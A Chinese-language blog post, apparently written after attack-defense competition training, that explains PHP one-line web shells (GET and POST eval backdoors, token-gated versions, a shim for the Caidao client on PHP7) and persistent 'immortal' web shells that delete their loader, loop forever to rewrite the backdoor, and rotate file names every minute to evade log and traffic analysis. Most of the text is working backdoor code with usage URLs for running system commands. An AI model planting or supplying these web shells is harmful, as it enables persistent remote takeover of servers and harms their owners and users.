最近参加了一次网络攻防大赛的培训。学到了不少知识,挺好的。
php的一句话木马
<?php // 这是一个GET版本的木马 // 用法是 http://domain/cmdget.php?cmd=phpinfo();exit(); @eval($_GET['cmd']); ?>
上面这一句话就是一个php的木马。当然,木马的前提是要将这个php文件上传到你的web服务器中,并且可通过url访问才行。有很多web漏洞可能导致被上传木马,包括上传文件漏洞、sql漏洞等等。
解释一下上面这一句话:
@符号,是php的错误控制符,放在任何表达式之前,该表达式可能产生的任何错误信息都被忽略掉。可以放可不放。
eval(code_str), eval函数把字符串参数code_str当作php代码来解析执行。
$_GET[‘cmd’]就很好解释了,就是获取url中的cmd查询字符串。
所以合起来的意思就是执行用户在url查询字符串cmd输入的语句。这个语句可以是任意合法的php语句。phpinfo(),exit()(加exit是因为有时候这一句话木马是注入到别的php文件里面的,为防止该文件的其他php语句打乱输出结果,直接执行完想要的命令就终止运行。)还有一个很重要的php语句system(cmd),可以执行系统指令,并输出结果。
所以,实用http://domain/cmdget.php?cmd=system(“ls -tl”);exit();就能得到在web服务器ls -tl命令同样的结果。这样就叫getShell了。
<?php // post版的一句话木马 eval($_POST['cmd']); ?>
<?php // 这是一个GET版本的木马,token=ca@C // 所以这个木马的用法是 http://domain/cmdget.php?token=ca@C&cmd=phpinfo();exit(); if (md5($_GET['token']) === '918dac51dfad24f0b5698723d1371e73') { eval($_GET['cmd']); } echo "hello,world"; ?>
由于菜刀工具会调用php7中已经剔除的函数set_magic_quotes_runtime,所以如果将上面的木马放在php7服务器上用菜刀连接的话,会报500内部错误。为了绕开这个错误,可以简单的在木马脚本上伪造一个set_magic_quotes_runtime函数。
<?php // 这是一个POST版本的木马,token=ca@C if (!function_exists('set_magic_quotes_runtime')) { // php7中不再有set_magic_quotes_runtime方法了,而菜刀工具扫描时会调用该方法,这就可能出错。 function set_magic_quotes_runtime($new_setting) { return true; } } if (md5($_POST['token']) === '918dac51dfad24f0b5698723d1371e73') { @eval($_POST['cmd']); } echo "hello,world"; ?>
不死马
所谓的不死马,就是先上传一个“木马生成器”,然后通过url访问一次该木马生成器,使其常驻内存并保证木马文件存在。
<?php // 木马文件 $webshell_filename = 'trojan.php'; // 木马token $webshell_token = '1234'; // 木马内容 $webshell_content = '<?php if (md5($_GET["token"])==="'.md5($webshell_token).'") { eval($_GET["cmd"]); } echo "hello,world."; ?> '; // 木马内容校验码 $webshell_content_md5 = md5($webshell_content); // 其实现在想想,没必要做token加密,因为即使对方不能从fuck.php中看出token值来, // 也可以去找服务器日志,查找这个攻击的url,里面不就带着token了吗。 // 删除自身 unlink($_SERVER['SCRIPT_FILENAME']); // 忽略客户端退出 ignore_user_abort(true); // 设置运行时间无限制 set_time_limit(0); // 常驻内存无限循环 while(true){ if (file_exists($webshell_filename) && md5(file_get_contents($webshell_filename)) == $webshell_content_md5) { // 如果已经存在webshell文件,则休眠一小会 sleep(1); } else { // 否则重新写入webshell file_put_contents($webshell_filename, $webshell_content); } } ?>
ps:其实后面想想,在木马中加入token其实是没啥鸟用的。因为我们访问木马文件时候,token值是在url中明文发送过去的,如果对方有流量日志,那么直接就能看到我们的token。那么就能复用我们的木马脚本来攻击其他被种马的服务器,窃取我们的“劳动果实”。
要想让被种马的无法流量分析来盗用我们的不死马,有一个简单的方法就是每隔一小段时间(1分钟或更短)变换木马文件名,在对方分析出木马文件之前,旧的文件名已经失效了。
随机变换不死马文件名
<?php // 新的不死马 // 如果不死马fuck_xxxxx.php写入成功 // 访问fuck_xxxxx.php, 会打印2333 // 访问fuck_xxxxx.php?cmd=phpinfo();即可执行命令 // 文件名后缀xxxxx的生成规则如下: // md5(年月日时分+盐)取中间五位。 // 还可以更进一步md5(年月日时分+盐+目标ip)取中间五位。这样,每台被种马的服务器上的木马文件名都不一样。 $webshell_content = '<?php eval($_GET[cmd]); echo 2333;?>'; $webshell_content_md5 = md5($webshell_content); unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $old_filename = ''; while(true){ $webshell_filename = 'fuck_'.substr(md5(date('YmdHi').'Ewiniar'), 1, 5).'.php'; if ($old_filename!==$webshell_filename && $old_filename!=='') { unlink($old_filename); } if (file_exists($webshell_filename) && md5(file_get_contents($webshell_filename)) == $webshell_content_md5) { usleep(300000); } else { file_put_contents($webshell_filename, $webshell_content); $old_filename = $webshell_filename; } } ?>